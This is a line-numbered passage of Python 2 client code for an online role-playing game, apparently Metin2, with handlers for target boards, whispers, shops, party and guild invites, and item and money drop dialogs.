  758. def ResetAffect(self, affect):
  759. self.affectShower.ResetAffect(affect)
  760.  
  761. # UNKNOWN_UPDATE
  762. def BINARY_NEW_AddAffect(self, type, pointIdx, value, duration):
  763. self.affectShower.BINARY_NEW_AddAffect(type, pointIdx, value, duration)
  764. if chr.NEW_AFFECT_DRAGON_SOUL_DECK1 == type or chr.NEW_AFFECT_DRAGON_SOUL_DECK2 == type:
  765. self.interface.DragonSoulActivate(type - chr.NEW_AFFECT_DRAGON_SOUL_DECK1)
  766.  
  767. def BINARY_NEW_RemoveAffect(self, type, pointIdx):
  768. self.affectShower.BINARY_NEW_RemoveAffect(type, pointIdx)
  769. if chr.NEW_AFFECT_DRAGON_SOUL_DECK1 == type or chr.NEW_AFFECT_DRAGON_SOUL_DECK2 == type:
  770. self.interface.DragonSoulDeactivate()
  771.  
  772.  
  773.  
  774. # END_OF_UNKNOWN_UPDATE
  775.  
  776. def ActivateSkillSlot(self, slotIndex):
  777. if self.interface:
  778. self.interface.OnActivateSkill(slotIndex)
  779.  
  780. def DeactivateSkillSlot(self, slotIndex):
  781. if self.interface:
  782. self.interface.OnDeactivateSkill(slotIndex)
  783.  
  784. def RefreshEquipment(self):
  785. if self.interface:
  786. self.interface.RefreshInventory()
  787.  
  788. def RefreshInventory(self):
  789. if self.interface:
  790. self.interface.RefreshInventory()
  791.  
  792. def RefreshCharacter(self):
  793. if self.interface:
  794. self.interface.RefreshCharacter()
  795.  
  796. def OnGameOver(self):
  797. self.CloseTargetBoard()
  798. self.OpenRestartDialog()
  799.  
  800. def OpenRestartDialog(self):
  801. self.interface.OpenRestartDialog()
  802.  
  803. def ChangeCurrentSkill(self, skillSlotNumber):
  804. self.interface.OnChangeCurrentSkill(skillSlotNumber)
  805.  
  806. ## TargetBoard
  807. def SetPCTargetBoard(self, vid, name):
  808. self.targetBoard.Open(vid, name)
  809.  
  810. if app.IsPressed(app.DIK_LCONTROL):
  811.  
  812. if not player.IsSameEmpire(vid):
  813. return
  814.  
  815. if player.IsMainCharacterIndex(vid):
  816. return
  817. elif chr.INSTANCE_TYPE_BUILDING == chr.GetInstanceType(vid):
  818. return
  819.  
  820. self.interface.OpenWhisperDialog(name)
  821.  
  822.  
  823. def RefreshTargetBoardByVID(self, vid):
  824. self.targetBoard.RefreshByVID(vid)
  825.  
  826. def RefreshTargetBoardByName(self, name):
  827. self.targetBoard.RefreshByName(name)
  828.  
  829. def __RefreshTargetBoard(self):
  830. self.targetBoard.Refresh()
  831.  
  832. if app.ENABLE_VIEW_TARGET_DECIMAL_HP:
  833. def SetHPTargetBoard(self, vid, hpPercentage, iMinHP, iMaxHP):
  834. if vid != self.targetBoard.GetTargetVID():
  835. self.targetBoard.ResetTargetBoard()
  836. self.targetBoard.SetEnemyVID(vid)
  837.  
  838. self.targetBoard.SetHP(hpPercentage, iMinHP, iMaxHP)
  839. self.targetBoard.Show()
  840. else:
  841. def SetHPTargetBoard(self, vid, hpPercentage):
  842. if vid != self.targetBoard.GetTargetVID():
  843. self.targetBoard.ResetTargetBoard()
  844. self.targetBoard.SetEnemyVID(vid)
  845.  
  846. self.targetBoard.SetHP(hpPercentage)
  847. self.targetBoard.Show()
  848.  
  849. def CloseTargetBoardIfDifferent(self, vid):
  850. if vid != self.targetBoard.GetTargetVID():
  851. self.targetBoard.Close()
  852.  
  853. def CloseTargetBoard(self):
  854. self.targetBoard.Close()
  855.  
  856. ## View Equipment
  857. def OpenEquipmentDialog(self, vid):
  858. self.interface.OpenEquipmentDialog(vid)
  859.  
  860. def SetEquipmentDialogItem(self, vid, slotIndex, vnum, count):
  861. self.interface.SetEquipmentDialogItem(vid, slotIndex, vnum, count)
  862.  
  863. def SetEquipmentDialogSocket(self, vid, slotIndex, socketIndex, value):
  864. self.interface.SetEquipmentDialogSocket(vid, slotIndex, socketIndex, value)
  865.  
  866. def SetEquipmentDialogAttr(self, vid, slotIndex, attrIndex, type, value):
  867. self.interface.SetEquipmentDialogAttr(vid, slotIndex, attrIndex, type, value)
  868.  
  869. # SHOW_LOCAL_MAP_NAME
  870. def ShowMapName(self, mapName, x, y):
  871.  
  872. if self.mapNameShower:
  873. self.mapNameShower.ShowMapName(mapName, x, y)
  874.  
  875. if self.interface:
  876. self.interface.SetMapName(mapName)
  877. # END_OF_SHOW_LOCAL_MAP_NAME
  878.  
  879. def BINARY_OpenAtlasWindow(self):
  880. self.interface.BINARY_OpenAtlasWindow()
  881.  
  882. ## Chat
  883. def OnRecvWhisper(self, mode, name, line):
  884. if mode == chat.WHISPER_TYPE_GM:
  885. self.interface.RegisterGameMasterName(name)
  886. chat.AppendWhisper(mode, name, line)
  887. self.interface.RecvWhisper(name)
  888.  
  889. def OnRecvWhisperSystemMessage(self, mode, name, line):
  890. chat.AppendWhisper(chat.WHISPER_TYPE_SYSTEM, name, line)
  891. self.interface.RecvWhisper(name)
  892.  
  893. def OnRecvWhisperError(self, mode, name, line):
  894. if localeInfo.WHISPER_ERROR.has_key(mode):
  895. chat.AppendWhisper(chat.WHISPER_TYPE_SYSTEM, name, localeInfo.WHISPER_ERROR[mode](name))
  896. else:
  897. chat.AppendWhisper(chat.WHISPER_TYPE_SYSTEM, name, "Whisper Unknown Error(mode=%d, name=%s)" % (mode, name))
  898. self.interface.RecvWhisper(name)
  899.  
  900. def RecvWhisper(self, name):
  901. self.interface.RecvWhisper(name)
  902.  
  903. def OnPickMoney(self, money):
  904. self.interface.OnPickMoneyNew(money)
  905.  
  906. def OnShopError(self, type):
  907. try:
  908. self.PopupMessage(localeInfo.SHOP_ERROR_DICT[type])
  909. except KeyError:
  910. self.PopupMessage(localeInfo.SHOP_ERROR_UNKNOWN % (type))
  911.  
  912. def OnSafeBoxError(self):
  913. self.PopupMessage(localeInfo.SAFEBOX_ERROR)
  914.  
  915. def OnFishingSuccess(self, isFish, fishName):
  916. chat.AppendChatWithDelay(chat.CHAT_TYPE_INFO, localeInfo.FISHING_SUCCESS(isFish, fishName), 2000)
  917.  
  918. # ADD_FISHING_MESSAGE
  919. def OnFishingNotifyUnknown(self):
  920. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.FISHING_UNKNOWN)
  921.  
  922. def OnFishingWrongPlace(self):
  923. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.FISHING_WRONG_PLACE)
  924. # END_OF_ADD_FISHING_MESSAGE
  925.  
  926. def OnFishingNotify(self, isFish, fishName):
  927. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.FISHING_NOTIFY(isFish, fishName))
  928.  
  929. def OnFishingFailure(self):
  930. chat.AppendChatWithDelay(chat.CHAT_TYPE_INFO, localeInfo.FISHING_FAILURE, 2000)
  931.  
  932. def OnCannotPickItem(self):
  933. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.GAME_CANNOT_PICK_ITEM)
  934.  
  935. # MINING
  936. def OnCannotMining(self):
  937. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.GAME_CANNOT_MINING)
  938. # END_OF_MINING
  939.  
  940. def OnCannotUseSkill(self, vid, type):
  941. if localeInfo.USE_SKILL_ERROR_TAIL_DICT.has_key(type):
  942. textTail.RegisterInfoTail(vid, localeInfo.USE_SKILL_ERROR_TAIL_DICT[type])
  943.  
  944. if localeInfo.USE_SKILL_ERROR_CHAT_DICT.has_key(type):
  945. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.USE_SKILL_ERROR_CHAT_DICT[type])
  946.  
  947. def OnCannotShotError(self, vid, type):
  948. textTail.RegisterInfoTail(vid, localeInfo.SHOT_ERROR_TAIL_DICT.get(type, localeInfo.SHOT_ERROR_UNKNOWN % (type)))
  949.  
  950. ## PointReset
  951. def StartPointReset(self):
  952. self.interface.OpenPointResetDialog()
  953.  
  954. ## Shop
  955. def StartShop(self, vid):
  956. self.interface.OpenShopDialog(vid)
  957.  
  958. def EndShop(self):
  959. self.interface.CloseShopDialog()
  960.  
  961. def RefreshShop(self):
  962. self.interface.RefreshShopDialog()
  963.  
  964. def SetShopSellingPrice(self, Price):
  965. pass
  966.  
  967. ## OfflineShop
  968. def StartOfflineShop(self, vid):
  969. self.interface.OpenOfflineShopDialog(vid)
  970.  
  971. def EndOfflineShop(self):
  972. self.interface.CloseOfflineShopDialog()
  973.  
  974. def RefreshOfflineShop(self):
  975. self.interface.RefreshOfflineShopDialog()
  976.  
  977. ## Exchange
  978. def StartExchange(self):
  979. self.interface.StartExchange()
  980.  
  981. ##barbut
  982. def StartDice(self):
  983. self.interface.StartDice()
  984.  
  985. def EndDice(self):
  986. self.interface.EndDice()
  987.  
  988. def RefreshDice(self):
  989. self.interface.RefreshDice()
  990.  
  991. def __DiceHasDone(self, myNumber, targetNumber):
  992. self.interface.AddDiceNumber(myNumber, targetNumber)
  993.  
  994. def EndExchange(self):
  995. self.interface.EndExchange()
  996.  
  997. def RefreshExchange(self):
  998. self.interface.RefreshExchange()
  999.  
  1000. ## Party
  1001. def RecvPartyInviteQuestion(self, leaderVID, leaderName):
  1002. partyInviteQuestionDialog = uiCommon.QuestionDialog()
  1003. partyInviteQuestionDialog.SetText(leaderName + localeInfo.PARTY_DO_YOU_JOIN)
  1004. partyInviteQuestionDialog.SetAcceptEvent(lambda arg=True: self.AnswerPartyInvite(arg))
  1005. partyInviteQuestionDialog.SetCancelEvent(lambda arg=False: self.AnswerPartyInvite(arg))
  1006. partyInviteQuestionDialog.Open()
  1007. partyInviteQuestionDialog.partyLeaderVID = leaderVID
  1008. self.partyInviteQuestionDialog = partyInviteQuestionDialog
  1009.  
  1010. def AnswerPartyInvite(self, answer):
  1011.  
  1012. if not self.partyInviteQuestionDialog:
  1013. return
  1014.  
  1015. partyLeaderVID = self.partyInviteQuestionDialog.partyLeaderVID
  1016.  
  1017. distance = player.GetCharacterDistance(partyLeaderVID)
  1018. if distance < 0.0 or distance > 5000:
  1019. answer = False
  1020.  
  1021. net.SendPartyInviteAnswerPacket(partyLeaderVID, answer)
  1022.  
  1023. self.partyInviteQuestionDialog.Close()
  1024. self.partyInviteQuestionDialog = None
  1025.  
  1026. def AddPartyMember(self, pid, name):
  1027. self.interface.AddPartyMember(pid, name)
  1028.  
  1029. def UpdatePartyMemberInfo(self, pid):
  1030. self.interface.UpdatePartyMemberInfo(pid)
  1031.  
  1032. def RemovePartyMember(self, pid):
  1033. self.interface.RemovePartyMember(pid)
  1034. self.__RefreshTargetBoard()
  1035.  
  1036. def LinkPartyMember(self, pid, vid):
  1037. self.interface.LinkPartyMember(pid, vid)
  1038.  
  1039. def UnlinkPartyMember(self, pid):
  1040. self.interface.UnlinkPartyMember(pid)
  1041.  
  1042. def UnlinkAllPartyMember(self):
  1043. self.interface.UnlinkAllPartyMember()
  1044.  
  1045. def ExitParty(self):
  1046. self.interface.ExitParty()
  1047. self.RefreshTargetBoardByVID(self.targetBoard.GetTargetVID())
  1048.  
  1049. def ChangePartyParameter(self, distributionMode):
  1050. self.interface.ChangePartyParameter(distributionMode)
  1051.  
  1052. ## Messenger
  1053. def OnMessengerAddFriendQuestion(self, name):
  1054. messengerAddFriendQuestion = uiCommon.QuestionDialog2()
  1055. messengerAddFriendQuestion.SetText1(localeInfo.MESSENGER_DO_YOU_ACCEPT_ADD_FRIEND_1 % (name))
  1056. messengerAddFriendQuestion.SetText2(localeInfo.MESSENGER_DO_YOU_ACCEPT_ADD_FRIEND_2)
  1057. messengerAddFriendQuestion.SetAcceptEvent(ui.__mem_func__(self.OnAcceptAddFriend))
  1058. messengerAddFriendQuestion.SetCancelEvent(ui.__mem_func__(self.OnDenyAddFriend))
  1059. messengerAddFriendQuestion.Open()
  1060. messengerAddFriendQuestion.name = name
  1061. self.messengerAddFriendQuestion = messengerAddFriendQuestion
  1062.  
  1063. def OnAcceptAddFriend(self):
  1064. name = self.messengerAddFriendQuestion.name
  1065. net.SendChatPacket("/messenger_auth y " + name)
  1066. self.OnCloseAddFriendQuestionDialog()
  1067. return True
  1068.  
  1069. def OnDenyAddFriend(self):
  1070. name = self.messengerAddFriendQuestion.name
  1071. net.SendChatPacket("/messenger_auth n " + name)
  1072. self.OnCloseAddFriendQuestionDialog()
  1073. return True
  1074.  
  1075. def OnCloseAddFriendQuestionDialog(self):
  1076. self.messengerAddFriendQuestion.Close()
  1077. self.messengerAddFriendQuestion = None
  1078. return True
  1079.  
  1080. ## SafeBox
  1081. def OpenSafeboxWindow(self, size):
  1082. self.interface.OpenSafeboxWindow(size)
  1083.  
  1084. def RefreshSafebox(self):
  1085. self.interface.RefreshSafebox()
  1086.  
  1087. def RefreshSafeboxMoney(self):
  1088. self.interface.RefreshSafeboxMoney()
  1089.  
  1090. # ITEM_MALL
  1091. def OpenMallWindow(self, size):
  1092. self.interface.OpenMallWindow(size)
  1093.  
  1094. def RefreshMall(self):
  1095. self.interface.RefreshMall()
  1096. # END_OF_ITEM_MALL
  1097.  
  1098. ## Guild
  1099. def RecvGuildInviteQuestion(self, guildID, guildName):
  1100. guildInviteQuestionDialog = uiCommon.QuestionDialog()
  1101. guildInviteQuestionDialog.SetText(guildName + localeInfo.GUILD_DO_YOU_JOIN)
  1102. guildInviteQuestionDialog.SetAcceptEvent(lambda arg=True: self.AnswerGuildInvite(arg))
  1103. guildInviteQuestionDialog.SetCancelEvent(lambda arg=False: self.AnswerGuildInvite(arg))
  1104. guildInviteQuestionDialog.Open()
  1105. guildInviteQuestionDialog.guildID = guildID
  1106. self.guildInviteQuestionDialog = guildInviteQuestionDialog
  1107.  
  1108. def AnswerGuildInvite(self, answer):
  1109.  
  1110. if not self.guildInviteQuestionDialog:
  1111. return
  1112.  
  1113. guildLeaderVID = self.guildInviteQuestionDialog.guildID
  1114. net.SendGuildInviteAnswerPacket(guildLeaderVID, answer)
  1115.  
  1116. self.guildInviteQuestionDialog.Close()
  1117. self.guildInviteQuestionDialog = None
  1118.  
  1119.  
  1120. def DeleteGuild(self):
  1121. self.interface.DeleteGuild()
  1122.  
  1123. ## Clock
  1124. def ShowClock(self, second):
  1125. self.interface.ShowClock(second)
  1126.  
  1127. def HideClock(self):
  1128. self.interface.HideClock()
  1129.  
  1130. ## Emotion
  1131. def BINARY_ActEmotion(self, emotionIndex):
  1132. if self.interface.wndCharacter:
  1133. self.interface.wndCharacter.ActEmotion(emotionIndex)
  1134.  
  1135. ###############################################################################################
  1136. ###############################################################################################
  1137. ## Keyboard Functions
  1138.  
  1139. def CheckFocus(self):
  1140. if False == self.IsFocus():
  1141. if True == self.interface.IsOpenChat():
  1142. self.interface.ToggleChat()
  1143.  
  1144. self.SetFocus()
  1145.  
  1146. def SaveScreen(self):
  1147. print "save screen"
  1148.  
  1149. # SCREENSHOT_CWDSAVE
  1150. if SCREENSHOT_CWDSAVE:
  1151. if not os.path.exists(os.getcwd()+os.sep+"screenshot"):
  1152. os.mkdir(os.getcwd()+os.sep+"screenshot")
  1153.  
  1154. (succeeded, name) = grp.SaveScreenShotToPath(os.getcwd()+os.sep+"screenshot"+os.sep)
  1155. elif SCREENSHOT_DIR:
  1156. (succeeded, name) = grp.SaveScreenShot(SCREENSHOT_DIR)
  1157. else:
  1158. (succeeded, name) = grp.SaveScreenShot()
  1159. # END_OF_SCREENSHOT_CWDSAVE
  1160.  
  1161. if succeeded:
  1162. pass
  1163. """
  1164. chat.AppendChat(chat.CHAT_TYPE_INFO, name + localeInfo.SCREENSHOT_SAVE1)
  1165. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.SCREENSHOT_SAVE2)
  1166. """
  1167. else:
  1168. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.SCREENSHOT_SAVE_FAILURE)
  1169.  
  1170. def ShowConsole(self):
  1171. if debugInfo.IsDebugMode() or True == self.consoleEnable:
  1172. player.EndKeyWalkingImmediately()
  1173. self.console.OpenWindow()
  1174.  
  1175. def ShowName(self):
  1176. self.ShowNameFlag = True
  1177. self.playerGauge.EnableShowAlways()
  1178. player.SetQuickPage(self.quickSlotPageIndex+1)
  1179.  
  1180. # ADD_ALWAYS_SHOW_NAME
  1181. def __IsShowName(self):
  1182.  
  1183. if systemSetting.IsAlwaysShowName():
  1184. return True
  1185.  
  1186. if self.ShowNameFlag:
  1187. return True
  1188.  
  1189. return False
  1190. # END_OF_ADD_ALWAYS_SHOW_NAME
  1191.  
  1192. def HideName(self):
  1193. self.ShowNameFlag = False
  1194. self.playerGauge.DisableShowAlways()
  1195. player.SetQuickPage(self.quickSlotPageIndex)
  1196.  
  1197. def ShowMouseImage(self):
  1198. self.interface.ShowMouseImage()
  1199.  
  1200. def HideMouseImage(self):
  1201. self.interface.HideMouseImage()
  1202.  
  1203. def StartAttack(self):
  1204. player.SetAttackKeyState(True)
  1205.  
  1206. def EndAttack(self):
  1207. player.SetAttackKeyState(False)
  1208.  
  1209. def MoveUp(self):
  1210. player.SetSingleDIKKeyState(app.DIK_UP, True)
  1211.  
  1212. def MoveDown(self):
  1213. player.SetSingleDIKKeyState(app.DIK_DOWN, True)
  1214.  
  1215. def MoveLeft(self):
  1216. player.SetSingleDIKKeyState(app.DIK_LEFT, True)
  1217.  
  1218. def MoveRight(self):
  1219. player.SetSingleDIKKeyState(app.DIK_RIGHT, True)
  1220.  
  1221. def StopUp(self):
  1222. player.SetSingleDIKKeyState(app.DIK_UP, False)
  1223.  
  1224. def StopDown(self):
  1225. player.SetSingleDIKKeyState(app.DIK_DOWN, False)
  1226.  
  1227. def StopLeft(self):
  1228. player.SetSingleDIKKeyState(app.DIK_LEFT, False)
  1229.  
  1230. def StopRight(self):
  1231. player.SetSingleDIKKeyState(app.DIK_RIGHT, False)
  1232.  
  1233. def PickUpItem(self):
  1234. player.PickCloseItem()
  1235.  
  1236. ###############################################################################################
  1237. ###############################################################################################
  1238. ## Event Handler
  1239.  
  1240. def OnKeyDown(self, key):
  1241. if self.interface.wndWeb and self.interface.wndWeb.IsShow():
  1242. return
  1243.  
  1244. constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(0)
  1245.  
  1246. try:
  1247. self.onPressKeyDict[key]()
  1248. except KeyError:
  1249. pass
  1250. except:
  1251. raise
  1252.  
  1253. return True
  1254.  
  1255. def OnKeyUp(self, key):
  1256. try:
  1257. self.onClickKeyDict[key]()
  1258. except KeyError:
  1259. pass
  1260. except:
  1261. raise
  1262.  
  1263. return True
  1264.  
  1265. def OnMouseLeftButtonDown(self):
  1266. if self.interface.BUILD_OnMouseLeftButtonDown():
  1267. return
  1268.  
  1269. if mouseModule.mouseController.isAttached():
  1270. self.CheckFocus()
  1271. else:
  1272. hyperlink = ui.GetHyperlink()
  1273. if hyperlink:
  1274. return
  1275. else:
  1276. self.CheckFocus()
  1277. player.SetMouseState(player.MBT_LEFT, player.MBS_PRESS);
  1278.  
  1279. return True
  1280.  
  1281. def OnMouseLeftButtonUp(self):
  1282.  
  1283. if self.interface.BUILD_OnMouseLeftButtonUp():
  1284. return
  1285.  
  1286. if mouseModule.mouseController.isAttached():
  1287.  
  1288. attachedType = mouseModule.mouseController.GetAttachedType()
  1289. attachedItemIndex = mouseModule.mouseController.GetAttachedItemIndex()
  1290. attachedItemSlotPos = mouseModule.mouseController.GetAttachedSlotNumber()
  1291. attachedItemCount = mouseModule.mouseController.GetAttachedItemCount()
  1292.  
  1293. ## QuickSlot
  1294. if player.SLOT_TYPE_QUICK_SLOT == attachedType:
  1295. player.RequestDeleteGlobalQuickSlot(attachedItemSlotPos)
  1296.  
  1297. ## Inventory
  1298. elif player.SLOT_TYPE_INVENTORY == attachedType:
  1299.  
  1300. if player.ITEM_MONEY == attachedItemIndex:
  1301. self.__PutMoney(attachedType, attachedItemCount, self.PickingCharacterIndex)
  1302. else:
  1303. self.__PutItem(attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount, self.PickingCharacterIndex)
  1304.  
  1305. ## DragonSoul
  1306. elif player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == attachedType:
  1307. self.__PutItem(attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount, self.PickingCharacterIndex)
  1308.  
  1309. mouseModule.mouseController.DeattachObject()
  1310.  
  1311. else:
  1312. hyperlink = ui.GetHyperlink()
  1313. if hyperlink:
  1314. if app.IsPressed(app.DIK_LALT):
  1315. link = chat.GetLinkFromHyperlink(hyperlink)
  1316. ime.PasteString(link)
  1317. else:
  1318. self.interface.MakeHyperlinkTooltip(hyperlink)
  1319. return
  1320. else:
  1321. player.SetMouseState(player.MBT_LEFT, player.MBS_CLICK)
  1322.  
  1323. #player.EndMouseWalking()
  1324. return True
  1325.  
  1326. def __PutItem(self, attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount, dstChrID):
  1327. if player.SLOT_TYPE_INVENTORY == attachedType or player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == attachedType:
  1328. attachedInvenType = player.SlotTypeToInvenType(attachedType)
  1329. if True == chr.HasInstance(self.PickingCharacterIndex) and player.GetMainCharacterIndex() != dstChrID:
  1330. if player.IsEquipmentSlot(attachedItemSlotPos):
  1331. self.stream.popupWindow.Close()
  1332. self.stream.popupWindow.Open(localeInfo.EXCHANGE_FAILURE_EQUIP_ITEM, 0, localeInfo.UI_OK)
  1333. else:
  1334. if chr.IsNPC(dstChrID):
  1335. net.SendGiveItemPacket(dstChrID, attachedInvenType, attachedItemSlotPos, attachedItemCount)
  1336. else:
  1337. net.SendExchangeStartPacket(dstChrID)
  1338. net.SendExchangeItemAddPacket(attachedInvenType, attachedItemSlotPos, 0)
  1339. else:
  1340. self.__DropItem(attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount)
  1341.  
  1342. def __PutMoney(self, attachedType, attachedMoney, dstChrID):
  1343. if True == chr.HasInstance(dstChrID) and player.GetMainCharacterIndex() != dstChrID:
  1344. net.SendExchangeStartPacket(dstChrID)
  1345. net.SendExchangeElkAddPacket(attachedMoney)
  1346. else:
  1347. self.__DropMoney(attachedType, attachedMoney)
  1348.  
  1349. def __DropMoney(self, attachedType, attachedMoney):
  1350. # PRIVATESHOP_DISABLE_ITEM_DROP - °³ÀλóÁ¡ ¿­°í ÀÖ´Â µ¿¾È ¾ÆÀÌÅÛ ¹ö¸² ¹æÁö
  1351. if uiPrivateShopBuilder.IsBuildingPrivateShop():
  1352. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
  1353. return
  1354. # END_OF_PRIVATESHOP_DISABLE_ITEM_DROP
  1355.  
  1356. # OFFLINESHOP_DISABLE_ITEM_DROP
  1357. if (uiOfflineShopBuilder.IsBuildingOfflineShop()):
  1358. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_OFFLINE_SHOP)
  1359. return
  1360. # END_OF_OFFLINESHOP_DISABLE_ITEM_DROP
  1361.  
  1362. # OFFLINESHOP_DISABLE_ITEM_DROP2
  1363. if (uiOfflineShop.IsEditingOfflineShop()):
  1364. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_OFFLINE_SHOP)
  1365. return
  1366. # END_OF_OFFLINESHOP_DISABLE_ITEM_DROP2
  1367.  
  1368. if attachedMoney>=1000:
  1369. self.stream.popupWindow.Close()
  1370. self.stream.popupWindow.Open(localeInfo.DROP_MONEY_FAILURE_1000_OVER, 0, localeInfo.UI_OK)
  1371. return
  1372.  
  1373. itemDropQuestionDialog = uiCommon.QuestionDialog()
  1374. itemDropQuestionDialog.SetText(localeInfo.DO_YOU_DROP_MONEY % (attachedMoney))
  1375. itemDropQuestionDialog.SetAcceptEvent(lambda arg=True: self.RequestDropItem(arg))
  1376. itemDropQuestionDialog.SetCancelEvent(lambda arg=False: self.RequestDropItem(arg))
  1377. itemDropQuestionDialog.Open()
  1378. itemDropQuestionDialog.dropType = attachedType
  1379. itemDropQuestionDialog.dropCount = attachedMoney
  1380. itemDropQuestionDialog.dropNumber = player.ITEM_MONEY
  1381. self.itemDropQuestionDialog = itemDropQuestionDialog
  1382.  
  1383. def __DropItem(self, attachedType, attachedItemIndex, attachedItemSlotPos, attachedItemCount):
  1384. # PRIVATESHOP_DISABLE_ITEM_DROP - °³ÀλóÁ¡ ¿­°í ÀÖ´Â µ¿¾È ¾ÆÀÌÅÛ ¹ö¸² ¹æÁö
  1385. if uiPrivateShopBuilder.IsBuildingPrivateShop():
  1386. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
  1387. return
  1388. # END_OF_PRIVATESHOP_DISABLE_ITEM_DROP
  1389.  
  1390. # OFFLINESHOP_DISABLE_ITEM_DROP
  1391. if (uiOfflineShopBuilder.IsBuildingOfflineShop()):
  1392. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_OFFLINE_SHOP)
  1393. return
  1394. # END_OFF_OFFLINESHOP_DISABLE_ITEM_DROP
  1395.  
  1396. # OFFLINESHOP_DISABLE_ITEM_DROP2
  1397. if (uiOfflineShop.IsEditingOfflineShop()):
  1398. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_OFFLINE_SHOP)
  1399. return
  1400. # END_OF_OFFLINESHOP_DISABLE_ITEM_DROP2
  1401.  
  1402. if player.SLOT_TYPE_INVENTORY == attachedType and player.IsEquipmentSlot(attachedItemSlotPos):
  1403. self.stream.popupWindow.Close()
  1404. self.stream.popupWindow.Open(localeInfo.DROP_ITEM_FAILURE_EQUIP_ITEM, 0, localeInfo.UI_OK)
  1405.  
  1406. else:
  1407. if player.SLOT_TYPE_INVENTORY == attachedType:
  1408. dropItemIndex = player.GetItemIndex(attachedItemSlotPos)
  1409.  
  1410. item.SelectItem(dropItemIndex)
  1411. dropItemName = item.GetItemName()
  1412.  
  1413. ## Question Text
  1414. questionText = localeInfo.HOW_MANY_ITEM_DO_YOU_DROP(dropItemName, attachedItemCount)
  1415.  
  1416. ## Dialog
  1417. itemDropQuestionDialog = uiCommon.QuestionDialog()
  1418. itemDropQuestionDialog.SetText(questionText)
  1419. itemDropQuestionDialog.SetAcceptEvent(lambda arg=True: self.RequestDropItem(arg))
  1420. itemDropQuestionDialog.SetCancelEvent(lambda arg=False: self.RequestDropItem(arg))
  1421. itemDropQuestionDialog.Open()
  1422. itemDropQuestionDialog.dropType = attachedType
  1423. itemDropQuestionDialog.dropNumber = attachedItemSlotPos
  1424. itemDropQuestionDialog.dropCount = attachedItemCount
  1425. self.itemDropQuestionDialog = itemDropQuestionDialog
  1426.  
  1427. constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(1)
  1428. elif player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == attachedType:
  1429. dropItemIndex = player.GetItemIndex(player.DRAGON_SOUL_INVENTORY, attachedItemSlotPos)
  1430.  
  1431. item.SelectItem(dropItemIndex)
  1432. dropItemName = item.GetItemName()
  1433.  
  1434. ## Question Text
  1435. questionText = localeInfo.HOW_MANY_ITEM_DO_YOU_DROP(dropItemName, attachedItemCount)
  1436.  
  1437. ## Dialog
  1438. itemDropQuestionDialog = uiCommon.QuestionDialog()
  1439. itemDropQuestionDialog.SetText(questionText)
  1440. itemDropQuestionDialog.SetAcceptEvent(lambda arg=True: self.RequestDropItem(arg))
  1441. itemDropQuestionDialog.SetCancelEvent(lambda arg=False: self.RequestDropItem(arg))
  1442. itemDropQuestionDialog.Open()
  1443. itemDropQuestionDialog.dropType = attachedType
  1444. itemDropQuestionDialog.dropNumber = attachedItemSlotPos
  1445. itemDropQuestionDialog.dropCount = attachedItemCount
  1446. self.itemDropQuestionDialog = itemDropQuestionDialog
  1447.  
  1448. constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(1)
  1449.  
  1450. def RequestDropItem(self, answer):
  1451. if not self.itemDropQuestionDialog:
  1452. return
  1453.  
  1454. if answer:
  1455. dropType = self.itemDropQuestionDialog.dropType
  1456. dropCount = self.itemDropQuestionDialog.dropCount
  1457. dropNumber = self.itemDropQuestionDialog.dropNumber
  1458.  
  1459. if player.SLOT_TYPE_INVENTORY == dropType:
  1460. if dropNumber == player.ITEM_MONEY:
  1461. net.SendGoldDropPacketNew(dropCount)
  1462. snd.PlaySound("sound/ui/money.wav")
  1463. else:
  1464. # PRIVATESHOP_DISABLE_ITEM_DROP
  1465. self.__SendDropItemPacket(dropNumber, dropCount)
  1466. # END_OF_PRIVATESHOP_DISABLE_ITEM_DROP
  1467. elif player.SLOT_TYPE_DRAGON_SOUL_INVENTORY == dropType:
  1468. # PRIVATESHOP_DISABLE_ITEM_DROP
  1469. self.__SendDropItemPacket(dropNumber, dropCount, player.DRAGON_SOUL_INVENTORY)
  1470. # END_OF_PRIVATESHOP_DISABLE_ITEM_DROP
  1471.  
  1472. self.itemDropQuestionDialog.Close()
  1473. self.itemDropQuestionDialog = None
  1474.  
  1475. constInfo.SET_ITEM_DROP_QUESTION_DIALOG_STATUS(0)
  1476.  
  1477. # PRIVATESHOP_DISABLE_ITEM_DROP
  1478. def __SendDropItemPacket(self, itemVNum, itemCount, itemInvenType = player.INVENTORY):
  1479. if uiPrivateShopBuilder.IsBuildingPrivateShop():
  1480. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_PRIVATE_SHOP)
  1481. return
  1482.  
  1483. if (uiOfflineShopBuilder.IsBuildingOfflineShop()):
  1484. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_OFFLINE_SHOP)
  1485. return
  1486.  
  1487. if (uiOfflineShop.IsEditingOfflineShop()):
  1488. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.DROP_ITEM_FAILURE_OFFLINE_SHOP)
